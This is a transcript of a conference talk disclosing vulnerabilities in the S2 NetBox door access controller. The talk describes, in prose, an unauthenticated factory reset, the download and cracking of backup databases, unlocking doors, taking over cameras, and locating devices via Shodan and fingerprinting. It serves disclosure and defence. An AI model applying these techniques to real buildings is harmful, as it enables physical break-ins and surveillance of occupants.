 So I'm going to try to give you some good content today and something unique and kind of new too as far as disclosure. Just a path that I took that I found that worked pretty well and I hope you enjoy that. So just moving on here, here's the obligatory speaker side and just worked for Cisco Systems with the stat team there, internal product security testing, that's kind of where I cut my teeth in this industry and worked with some great people there. After that it's tipping point and work with some nonprofits and independent security research. Now I work with the University of Florida and the Health Science Center which is a teaching hospital and we face a number of tremendous challenges there, especially with medical device security and patching and upgrades. It goes way beyond compliance issues in that environment. So I founded the MedSec group on LinkedIn and if you've interest in medical device security I think that's going to be a very interesting area over the next few years. And we'll see how many lawyers come out of the woodwork when that stuff starts happening. Just a brief overview, I did some past security research on VoIP phones back 2005, 2006. And if you saw HDM's talk which is actually going on now in a skybox, so that's a consideration too. Just some basic VX works that he built on which is great. And just a quick rant, so it's really nice to see some ladies here. Big hand for the ladies. I tell you I'm really tired of this industry being a sausage festival, okay? We are missing so much by not engaging women and bringing women into this field. We're missing so much. Just really try to consider that and reach out to women who express an interest in security. I'm not just trying to get laid here either, I really mean this. So we're going to talk today about electronic door access controllers and I refer to them as EDAC, just a short acronym, trends, landscape, some of the architecture and major vendors and I'm going to go through a real world analysis which has been going on for, you know, with the full disclosure process and everything up to about a couple months ago and it started in October of last year. So that device is the S2 security net box and this is just one device in this industry but I think it's representative of a lot of the technology that's out there. And I really kind of beat up this company and I pushed it to the edge as far as them, you know, threatening to lawyer up on me and it got a little hairy at times. But, you know, basically I was like, hey, I found these vulnerabilities are extremely stupid. If you're looking for something sexy, this is really the wrong talk. There's some sexy pieces but as far as the bugs are stupid. And that's great because I love talking about stupid bugs. So I'm going to talk about, you know, some of the tax and vulnerabilities and then get into countermeasures and recommendations too. So here you're learning outcomes and, you know, you're going to gain some awareness of what these systems are, who the players are. There's specific pen testing knowledge and additions to tools that are out there that I've submitted signatures and what not to. So you'll be able to actually do pen testing on this particular device and be able to find it after this talk. So my idea is about research and testing methods. Some of this has to do more with soft research as far as reading up and accessing specialized databases, more than just, you know, regular web searching. And the twist to DEF CON here is benefiting the EFF via ethical hacking. So here's some choice quotations. And I'll start with this one at the bottom first, which is, you know, one that's often been quoted in the security industry and that comes from Attorney General Janet Reno. Now the context for this was GAO, Government Accountability Office, did penetration testing on their physical locations. Several offices back in 1999, 2000 timeframe. And this is an oft used quote in security about, you know, anytime I think you expose vulnerabilities it's a good thing. So this top quotation is from the S2 security CEO and it's when hackers put viruses on your home computer it's a nuisance. When they unlock doors at your facility it's a nightmare. I would certainly agree with that. And that article goes back to 2004 and I pulled that using specialized databases so it's not the kind of thing that you'd find out on Google. What I'm getting at here is that when you're kind of butting heads with a company it really helps to have this kind of information and that you can pull this kind of quotation that they stated and say, well this is what you said. And I've sprinkled that throughout this presentation so you'll see more of that as we go along. So just kind of a broad overview of the technology here of electronic door access controllers. Really looking at a trend towards using IP. So a lot of this is used proprietary protocols and closed systems in the past. What they're trying to do is leverage all these other systems that are in place. So you've got your cameras, you've got DVRs and they're also adding in other building functionality. So you've got elevators and alarms and HVAC systems, temperature control. So it feels kind of hot up here right now. I hope we don't have one here. I think it's just the light. Another thing you'll see is some of these are integrating with LDAP systems. So where they want to go with this is that, you know, somebody gets fired in an organization or they quit and they can just go to the LDAP directory and move that entry and that will populate out and disconnect their email, disconnect all their access and disconnect their badge too by communicating with the system. This particular system doesn't use that, the S2, but there are others that do. There's a lot of vendors in this space and the phones are starting to appear. So Cisco made an acquisition last year, Richard Zeta and that's an embedded controller system and just about a month and a half ago they released a number of vulnerabilities on that controller. Any other names you'll recognize up here such as Bosch and Lanelle and Honeywell and HID. Just for clarification here, I'm not talking about attacking the HID readers themselves. These are the backend systems that have database functionality and which are the controllers for those controllers. So this is a little bit of a dig on facilities people, but I actually have a big thanks to a facilities person who was coming into the company or actually when I was working at this company, he came to me and he said, you know, we've got this company coming to push this new controller system for our doors and I don't like this interwebby stuff and can you take a look at it. So that's really where this started. So a big thanks to him. But here's what you see with these is, you know, long deployments, they're managed by building facilities people and they're kind of stuck in a closet and just forgotten and you get pushback from physical security people too. So where I work, they don't even let me near these things. So I've been working my way into that, but it's a tough crowd. And then patching upgrades, maintenance, policies, all those kind of fall by the wayside with this because they're just out of sight, out of mind, even though they're used every day. One big thing is that you'll see third party local service contractors, they'll do the management of the system. So nobody in house really has an idea of what this is. This guy kind of comes in once a couple months or once a quarter, does some stuff, adds some people, maybe has somebody local who adds the people and that's about it. So if anyone had really questions about the importance of this type of security, this Yale murder happened last August in Yale University in Connecticut. And this guy here, his name is Raymond J. Clarke. And that's the arrest affidavit, a screenshot of that. He killed that young woman below, Annie Lee, in the lab. And he was allowed to, by the police, to stay there and he was cleaning up and he was taking care of these animals in this animal lab. And he was actually taking steps to cover his tracks. So he was scrubbing stuff. He, it was awful story, but it's an amazing story, but it's awful. You know, he took this woman, he strangled her and he stuffed her body into the wall of a men's room at Yale in this facility. So what I'm getting at here is that they really start to focus and hone in on this guy as a suspect because of the building access control system, because they knew that people needed IDs. And then here, if you can see this, if you can go through this, it'll, this is analysis conducted on Clarke's electronic key usage. And it shows all the different rooms. And then they show the times that he and Ms. Lee were together in the same room. And then the last time she used her badge. So this is really how they honed in on this guy. Good afternoon. You guys were doing so well. I was so hoping not to have to come up here and do one of these. Somebody, or other several somebodies, are stiffing Katie's. They're walking out on $100 plus bills. Let's apply social networking rules and make sure that doesn't keep happening, please. Because that's really kind of a dick thing to do. They're treating us really well, they're taking good care of us. And some of you are repaying them by walking out on, like I said, $100 plus bills. Please don't do that. If you did do that, please go back and pay your bill. Okay? Thank you. And it's not just once. This is like seven or eight people have done this. Okay, a little bit of a bummer. I got intimidated by him coming up on a stage. So I highly recommend that you go out there and get your bill. And I would say that there's video of all this too around here in case you all weren't thinking and you were just dumbed up on booze and a hangover and had a hacker con. So this whole place is videotaped. Every move. So they may just very well go back and track you guys. So go beg for forgiveness. Okay, moving on. So like I said, I'm focusing on a particular vendor. I actually thought that they were coming up to tell me that lawyers got involved and I was pulled. Because we all know how well that works out, right? You know, you're going to triple my income potential and make me infamous. Perfect. I'm going to start looking at boats. So one thing that's interesting in this space in this industry is that there's a lot of rebranding of these boxes. So this box is sold under multiple brand names. It's built by S2 security and marketed as a net box. Then it's distributed by Lanier and rebranded as the Emerge 50 and 5000 platforms. And then it's resold by Sonitrol, which a lot of people are familiar with Sonitrol. You may even have that at your house as a service. And it's rebranded by them as a commercial door access control, physical control service. So they come in, they manage the box, they deploy it. This is the actual box itself and it's really not much to look at. I mean, you know, mostly you've got the card and that's the network controller piece. And that's really what I focused on. So it's probably not much different than this badge in some ways. Thank you, by the way, EFF for this. And I'll get to that, too. But the application modules are what tie into the HID controllers. And again, you know, I focus on the network controller piece. This is the IP side that I'm attacking. Much smarter people than me, like, you know, Chris Pageant, for example, are working on the HID stuff. And that's just great. I mean, mad props to them. I'm just humbled to be in the same room. So here's an example of their S2 security architecture. And you see how you have this head-in box here. And that's tied in with the IP video cameras. And then here's a PC with a browser, which might be a guard station that logs in with a limited account. And so when somebody swipes in through, comes in, their picture pops up. And a guard has limited access and can view what's happening at that station. And then, you know, you have the World Wide Web here, VPN or WAN. And then might go to another site, a facility, too, where you have another box. And this box is actually a head-in to, you know, perhaps, oops, perhaps that one, or even the, so they can act independently or they can network together. So when doing research on this, a lot of times, you know, it's real tempting to just jump into the packets, right? Fire the tools, let's get the signatures. One thing I really want to stress is that it's important to go out and do your research and do your reading on the company. So go through their security documentation or case studies or press releases. Of course, use the search engines. But really, if there's one thing that I can stress to you taking away from this presentation, and this will work across any research that you do. And that's, it's well worth a trip to a college campus where anyone can sit down on a terminal and use very high-end subscription databases. LexusNexus, ABI Inform, hundreds of others. And this is a hidden trove of information that you can get to and anyone can use it. You don't have to be a student, you can just scroll into the university and ask the librarian for help. So from one document, I was able to determine, this is a case study published by SQL and S2 together. And from one document, I was able to get so much information. You know, I found out, okay, they're using SQL, they're using Samba, Linux distribution is the same as that Zorus hand-held from a few years back. Right? Kind of cool. Processor information. Now these last three items really caught my eye, and this is the kind of stuff that should pique your interest right away. If they tell, if they document, write down or say that it only took them 15 months from design to customer shipping, that's kind of scary. That's very fast and it's commendable. But, you know, there's obviously a lot of questions that come into that. They say they don't have much experience with open source. Okay? Definitely, you know, my ears prick up when I hear that. And then the key here is the MySQL is used to store everything. So the whole system is in that database. So that gives me a real target to focus in on. Now, again, earlier I mentioned, you know, it's good to have some ammunition because when they come back at you and, you know, start making threats or push back, it's great to come up with these quotations. And when I can come back to them and say, well, look, you know, on your website here or in this document, you say that it's safe to deploy this system across any network, even the public internet. Okay? You say that remote locations are easily handled. And you say that this thing can operate for years, years, without maintenance of any kind. Okay? This crowd knows where that's going, but other crowds, you know, they're like, oh, okay. Yeah, that sounds great. You see where this is going. So having this kind of, you know, having these kind of quotations in your back pocket to put out to them when they push back is a great, you know, have a big cup of, you know, up. So I'm going to dive into some of the components here of this NetBox. And what we've got here is an HTTP server and then MySQL and then later versions have Postgres. So obviously, as you know, these devices go through different builds and they add more features, they're changing things up a bit, but those are the two databases that they use. Then they have this NMCOM custom application that they wrote and I could talk about that a little longer or a little later, but that's a really interesting thing and I think you'll like what I talk about there. And then of course you see like FTP and Telnet on security devices, right? So their HTTP server is the go ahead web server. And in my opinion, it's a poor choice. So you're looking at 16 CVEs out there and there could be more, I just stopped searching after a while. I was like, well, what else? But not to beat up on go ahead too much, but it doesn't seem like they've been very responsive to these vulnerabilities. And so if you look at that CVE in 2002, go ahead was contacted on three different occasions in the last three months, but they supplied them with no meaningful response. Now what's interesting about go ahead web server is that it's open source and it's free and you can download it from them for no cost and I don't even think you have to register. But the thing is, is if you're gonna offer and serve up open source web package, do us the courtesy and try to maintain it. So here's one of those quotations on the bottom here and this is from John L. Moss, he's the S2 security CEO and this is data security is a challenge and unfortunately not everyone has risen to it. So when you look at the SQL server, I was like, wow, this is kind of weird, okay. Typical, you know, I was listening on TCP 3306, it was outdated and I was like, 4.0, that really sounds kind of old. I was like, how old is it? End of life, I go to MySQL product archives, forget end of life, end of download, okay. You cannot download this SQL 4.0 from the MySQL product archives and that's down here. So I mean, it's not even worth their bandwidth to host these, you know, even for posterity, even just for archival purposes. So that's in a production server for a physical control unit for your facility. That's pretty troubling. The NMCOM is at TCP service and what this thing does is, the service does is it performs multicast discovery of the HID nodes on the network and it's a custom daemon like I mentioned and then there's a patent. So this goes back to doing your research and looking at all those other information resources. So I go and I look for patents filed by this company and then by certain individuals in the company and I found this system and method to configure network mode. So there's a tiny URL there and you can go read the patent but it reads like an RFC and this is the perfect type of application that you want to start fuzzing right away and you can read through that and almost grep for must not in this patent. Just like you would do in an RFC, grep for must not and start focusing on that area for your targets. So FTP and Telnet. I mean clear text protocols for security device. You see this quotation on the bottom here. We see some vendors fitting their serial devices with Telnet adapters. We're simply sitting on the network transmitting unsecured serial data. In your own device here that you guys build, you have Telnet to manage it and by the way that runs as root and that's new, I haven't talked about that before but there's diagnostic tools that are built into this system that you can access as administrator it'll give you the tar ball of the diagnostic file that you would send to S2 for debugging and help. But if you go through that, you start seeing directory listings, you start seeing the permission setting on daemons and all kinds of stuff. So that's bad. Telnet's bad but then running as root is really, really bad. And then the security documentation you see here is they'll say this is a screenshot. So network administrator tasks on the FTP server create a username, password directory. A password is optional. The backup directory must be created at the root level on the FTP server. I mean it's like 1997 stuff that you see here. So what's really interesting about these and I alluded to this at the beginning is all these new features in this convergence. So that's the other thing we'll walk out of here. Think about, when you think about security systems, don't think of them as closed. Think about this convergence. Think they're tied into the cameras. There's gonna be communication information and configuration information that's in those cameras to make sure that they can talk back. If you get on a DVR in a network, what's that DVR talking to? There's a lot of network devices that are gonna be talking to these and depending on the configuration and the licensing scheme, you'll come across this. So again, that's increasing the attack service and you really gotta wonder like, how are they using voiceover IP in a system like this? The burglar APIs. So here's some features. You can pull this up and look at a building's floor plans. That's very useful if you're gonna go in and try to steal a server from them. Here's one of the vulnerabilities. This was the first one that I found and this is a remote unauthenticated factory reset via a crafted URL. You know, when I was putting these slides together, I was like, what else can I write here? I... I... You know, it's like the box. You know, it puts the box in a condition that when it arrived on your doorstep. Okay, it wipes everything. There's some back and forth with S2 about what the actual impact is. They say that there's some configuration that's pushed out to the nodes and to the HID readers and that there's not gonna be catastrophic impacts like your cards aren't gonna work on the doors. But again, I only had this for a limited time, about a week, hands on and didn't really have the chance to do that. But hey, it's a factory reset. I mean, there's not much you can say to that from no auth. Here's the other one that came out and this is the access to the backup database. So this is an unauthorized, unauthenticated attacker. You can download via HTTP the database backups. Now it's a nightly DB that's hard-coded, okay, and cron. So what that tells you is that you've got a file name here that's predictable, right? You know the time range that it's gonna run and then you know the naming convention. So you can do almost blind W gets for this across systems without knowing anything about it. And you're gonna just do those requests, which like is horrible logging on this thing. You really have no idea when you're getting attacked. So an attacker gets that backup database. Again, referring to that document that MySQL and S2 put out together, everything's in the database, right? Everything, all your cards, all your names, all your credentials, floor plans, employee photographs, everything is in the database. So here it is. You extract the admin MySQL 64-bit hash, okay? And that affects both the 2x and 3x series with MySQL and Postgres. And then you can crack that hash, which is trivial. And then there's the CVE for that. So once you have that, I mean, the attacker has admin access in the box. What can that attacker do? Well, how about opening some doors? Okay, everybody likes that. It can open a door right now and there's that smokers area down there, right? So I mean, you go have a cigarette, you hang out, a little short chat chat, and then you whip out your iPhone and go to the HEP interface of this and then click open the door and it's an automatic button and it opens up right for you. Or you can schedule it for ODark 100 and come back with your crew. So here are the cameras, okay? So the cameras are in the database too, right? And this is actually a screenshot from their demo that was online and the license actually just expired today. So I can't go to it live, but this is from their demo box. So I'm not out there hitting live boxes. And this affects the 2X and 3X systems and now the attacker owns all the IP cameras. So what's great here is I'm not just picking on S2 because there's this perception across the industry. So this quotation on the bottom is from Justin Lott and that's from Bosch Security Marketing and Bosch is in this EDAC space as well. And he says, most hackers don't care about watching your lobby. If they gain access to the network, they're gonna go after financial data and trade secrets. I don't know what you're talking about, okay? I think a lot of people who are trying to attack a building and go in there are gonna be interested in looking at the video and looking at the webcams. I would certainly be. So here's the DVRs and digital video recorders. The user pass to those is in the backup. And another thing is there's poor recommendations here by them. And so here it is, they recommend keeping the default user and password on this, right? I mean, it says right down here at the bottom, we recommend that you use these defaults. And then there's some more HTTP directory grief that I found later on because I was like, oh, I didn't check for this, I didn't check for this and node logs, which are the logs of the devices authenticating back in the nodes and the card swipes and all that fun stuff and then employee photographs being able to pull those directly. Now here's some remote fingerprinting that's come up and their Mac OID is registered to S2 security. So that makes it much easier to identify one of these devices just by its Mac address. And then as I know it before, I contributed to some of the open source tools out there. So there's an end map service fingerprint for this and end map 5.2.0. And then another thing is for every IP, for these devices, they left in a blank.html page. So that's another way to look for these and confirm that you actually have one and props to Skip Fish on finding that. Shodan, Shodan is a real game changer in my opinion. And I have to give huge props to Shodan on this because I was getting a lot of pushback from S2 about saying that they're difficult to find, that they're not on the internet and all that. And actually the two below that are direct quotations from that, which is it's behind a firewall accessible only by VPN, deep within the corporate network, whatever that means, right? The front line is everywhere, we know that. So the targeted search is for this, unique fingerprint and it's been going up. So back in March, there was 150 of these devices on the network that you could identify. Now there's 341 and then here's the search that I did today. So 341 and then here's the string that I'm doing. So here's the go ahead web server, right? Looking for login ASP, the no cache and the must revalidate. And then you see those strings showing up in the results down here. So I don't have internet access on this, I'm not gonna click on any of these URLs, but I'm very, very confident that those are all in that two boxes out there of some variant or another. So really getting some of the recommendations here, it's just not right unless you have a wall cat. Something that you don't think is a threat, you just bring it up and it's like an individual, right? So it's just some guy out there who got a hold of your box for a week, what could he do? What could he find? What impact could he have? How could he change our business processes? You never know, but you get your nose. It's a whole nother story. So I've made recommendations here for them to conduct security evaluations on your products. Better your deployment guides, your third party integration, right? Those web cameras, those DVRs, don't wanna see that kind of bad stuff. And then improving their logging. Like I mentioned before, the logging is really bad on this. I mean, there's just nothing there. So you don't even know. I mean, you can tell when somebody else logged in as an admin or another user and that's about the extent of it. Being able to offload those logs to a log server to try to maintain some integrity would really be good too. Use better HTTP daemon, HTTPS by default, and then I would always recommend to any vendor, you wanna keep yourself a moving target. So modify those banners, reduce that fingerprint. If you see your device is showing up in Shodan or other search engines like that, you don't modify it so that your customers can get some more protection down the road. And of course, you have to be telnet, move noses, secure protocols as well. Customers, customers gotta push back. They gotta demand better security. They gotta go all the way down the chain here. So starting from the vendors and then going to third-party resellers, all those local guys coming in, print this stuff out, hand it to them, and say, you know, what are you guys doing about this? How are you ensuring us? Gotta manage this stuff just like any other system. Security reviews, the patching, the change management, all that tedious stuff that is so necessary. And then, of course, the technical side. Isolating these and using VLANs and Mac-off, VPNs, restricting IP, good stuff. So one of the outcomes of this, and this was actually sent to me, this was sent to me by a competitor of S2. And I said, hey, did you see this letter that went out to the integrators? And I was like, oh, that's interesting. And it's from John Elmas, the CEO to our system integrators. I have had a number of questions recently about how to secure network physical security systems. And I'm writing to address this important subject. So the threat. This may sound like paranoia, but it's not. There are thousands of people you don't know all over the world who are actively trying to break into your new typo security systems right now. In a physical security world, we are not used to dealing with invisible threats from malicious people who don't know where we are and thousands of miles away. We have them. So it's great to see this kind of recognition from a company and reaching out to their integrators. But this was forced recognition of the problem. This letter is a result of me going out there, me letting CERT know about these vulnerabilities, communicating with CERT. Huge props to CERT, CERTCC and US CERT, because I couldn't have done it without them. And those guys pushed, too. They pushed these guys, and it was great to see. But a problem with that, not with CERT, but with this letter, is that it goes down, it continues on, hackers, hackers bad. And then here's protecting your system, right? Which is great. So put your systems behind a firewall, change your passwords, use strong passwords, VLANs, VPNs, maintain your software. So that's great to see. But then up here, how we deal with vulnerabilities. And he says, S2 works with CERT, a non-profit organization that responsibly handles vulnerability resolution. CERT, funded in part by DHS, learns about vulnerabilities. Well, the thing is, is they reference US CERT here, but I coordinated mainly with CERTCC. And so somebody who's a security person and reads this says, you don't even know who the organizations are that you're talking to about this. So that's the kind of thing that we wanna change. We wanna make sure that when a company puts out a statement like this, that they actually are referring to the right people, security people who have assisted us in driving these issues to resolution. Gotta give them the respect in where it's due. So back at CarolinaCon, which is actually a great conference, very intimate, highly recommended, and those guys did a great job there. So they recorded me and it found its way onto the web. And what I had made there is an offer, an open offer to any vendor in this space. And here's the offer. You make a donation to a non-profit like EFF and you get a tax deduction for that donation, okay? In turn, in recognition of your donation, this isn't a quid pro quo, in recognition of your donation, which could be an amount based on going back 10 years ago, the line was people spend more on their coffee budgets than they do on security. That's definitely not the case anymore, but with product security, it is in some cases. So I say, okay, give your coffee budget to EFF in the donation, or I'm also considering the political contributions done by the top executives, okay, that's public information and it's also free speech on their side. If you're not following that at all, corporations now can give political contributions and it's free speech and there may not even be any disclosure at that. So come up with creative ways here of setting a price point. I'll sign an NDA and then I'll do an eval in the box. I'll do a report and an out brief and I may pull in other engineers under this type of testing and have them under NDA as well. So I've done this with a colleague at work and the John Sawyer, who's right down there and throwing the support and it's great because having two minds is always better than one and he compliments a lot of my skills. So I'm not coming in here with an ego on this stuff. It's like, obviously there's gonna be things I can miss. If I can bring in another smart person, that's fantastic and all the better. So we set this up. I'll do an eval box, report and an out brief and then planning here is additional advice for product security response. So when talking with these vendors, do a security page, have an email, point of contact, your PGP key up there, all the good things that we like to see. I mean, how many times on the mailing list are we seeing does anybody have a security contact for X company? It's tedious and in this day and age, we just don't have the time for that. Introductions to cert, CC, US cert and then suggesting strategic security conference support. There's some good ways that companies can enable security conferences without seeing like a suck up or without throwing out the too much vendor crap. So here it is so far. So far, I've been approached by two EDAC companies and the process has been talk, establish a trust, which is everything, right? I mean, you gotta have that trust and that's taken some hand-holding and back and forth but there's some trepidation. One when it was, hey, Sean, this isn't gonna end up on some blog post, is it? And those are the kinds of fears and concerns that you need to assuage with these people and say, no, we got this under NDA. These are the objectives. I'm not looking to make money off of this. I'm looking to better the security. It's good reputation building. It's good experience for me too, of course. So the first company donated to EFF and they enabled me to win this contest. There was plenty of other great people who supported me in that set up for two. Props again to John Sawyer. He threw the flag out there and got some folks to contribute but together we raised $2,560 for EFF just from this one evaluation and from the support of folks. Got the room, got the nifty badge, met some really cool people through this and I think it's just kind of a unique way to enable some security testing. So I kind of went quickly through this and maybe a little faster than I wanted to. Too many mountain do's but I'm certainly open to any questions and don't feel obligated to come up here now. I mean I'm gonna be around so feel free to grab me. My contact information is here and that's it.